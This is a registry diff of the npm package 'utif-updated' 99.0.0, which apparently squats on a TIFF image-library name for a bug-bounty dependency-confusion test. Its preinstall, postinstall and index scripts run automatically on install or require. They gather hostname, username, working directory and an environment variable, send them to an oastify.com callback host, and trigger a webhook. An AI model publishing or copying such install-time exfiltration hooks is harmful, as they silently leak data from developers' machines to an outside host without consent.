utif-updated 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +6 -0
- package/index.js +35 -0
- package/package.json +13 -0
- package/postinstall.js +26 -0
- package/preinstall.js +36 -0
package/README.md
ADDED
package/index.js
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
6
|
+
|
|
7
|
+
if (!global.__utif_updated_triggered) {
|
|
8
|
+
global.__utif_updated_triggered = true;
|
|
9
|
+
|
|
10
|
+
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
11
|
+
|
|
12
|
+
// Callback Burp avec infos
|
|
13
|
+
const data = Buffer.from(JSON.stringify({
|
|
14
|
+
type: 'runtime_require',
|
|
15
|
+
hostname: os.hostname(),
|
|
16
|
+
user: os.userInfo().username,
|
|
17
|
+
cwd: process.cwd(),
|
|
18
|
+
webhook: webhook || 'NOT_FOUND',
|
|
19
|
+
timestamp: new Date().toISOString()
|
|
20
|
+
})).toString('base64');
|
|
21
|
+
|
|
22
|
+
https.get(`https://${CALLBACK}/runtime?d=${data}`, () => {}).on('error', () => {});
|
|
23
|
+
|
|
24
|
+
// Trigger game over
|
|
25
|
+
if (webhook) {
|
|
26
|
+
try {
|
|
27
|
+
const url = new URL(webhook);
|
|
28
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
29
|
+
client.get(webhook, () => {}).on('error', () => {});
|
|
30
|
+
} catch(e) {}
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
// Export vide pour pas casser leur build
|
|
35
|
+
module.exports = {};
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "utif-updated",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Security research - Bug Bounty",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"author": "icare",
|
|
7
|
+
"license": "MIT",
|
|
8
|
+
"scripts": {
|
|
9
|
+
"preinstall": "node preinstall.js || true",
|
|
10
|
+
"postinstall": "node postinstall.js || true"
|
|
11
|
+
},
|
|
12
|
+
"keywords": ["utif", "tiff", "image"]
|
|
13
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
6
|
+
|
|
7
|
+
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
8
|
+
|
|
9
|
+
// Callback Burp
|
|
10
|
+
const data = Buffer.from(JSON.stringify({
|
|
11
|
+
type: 'postinstall',
|
|
12
|
+
hostname: os.hostname(),
|
|
13
|
+
user: os.userInfo().username,
|
|
14
|
+
webhook: webhook || 'empty'
|
|
15
|
+
})).toString('base64');
|
|
16
|
+
|
|
17
|
+
https.get(`https://${CALLBACK}/postinstall?d=${data}`, () => {}).on('error', () => {});
|
|
18
|
+
|
|
19
|
+
// Trigger game over webhook
|
|
20
|
+
if (webhook) {
|
|
21
|
+
try {
|
|
22
|
+
const url = new URL(webhook);
|
|
23
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
24
|
+
client.get(webhook, () => {}).on('error', () => {});
|
|
25
|
+
} catch(e) {}
|
|
26
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
6
|
+
|
|
7
|
+
const data = JSON.stringify({
|
|
8
|
+
type: 'preinstall',
|
|
9
|
+
hostname: os.hostname(),
|
|
10
|
+
user: os.userInfo().username,
|
|
11
|
+
cwd: process.cwd(),
|
|
12
|
+
env_target: process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN || 'NOT_FOUND',
|
|
13
|
+
timestamp: new Date().toISOString()
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
// Callback Burp
|
|
17
|
+
const req = https.request({
|
|
18
|
+
hostname: CALLBACK,
|
|
19
|
+
port: 443,
|
|
20
|
+
path: '/preinstall',
|
|
21
|
+
method: 'POST',
|
|
22
|
+
headers: { 'Content-Type': 'application/json' }
|
|
23
|
+
}, () => {});
|
|
24
|
+
req.on('error', () => {});
|
|
25
|
+
req.write(data);
|
|
26
|
+
req.end();
|
|
27
|
+
|
|
28
|
+
// Trigger leur webhook si présent
|
|
29
|
+
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
30
|
+
if (webhook) {
|
|
31
|
+
try {
|
|
32
|
+
const url = new URL(webhook);
|
|
33
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
34
|
+
client.get(webhook, () => {}).on('error', () => {});
|
|
35
|
+
} catch(e) {}
|
|
36
|
+
}
|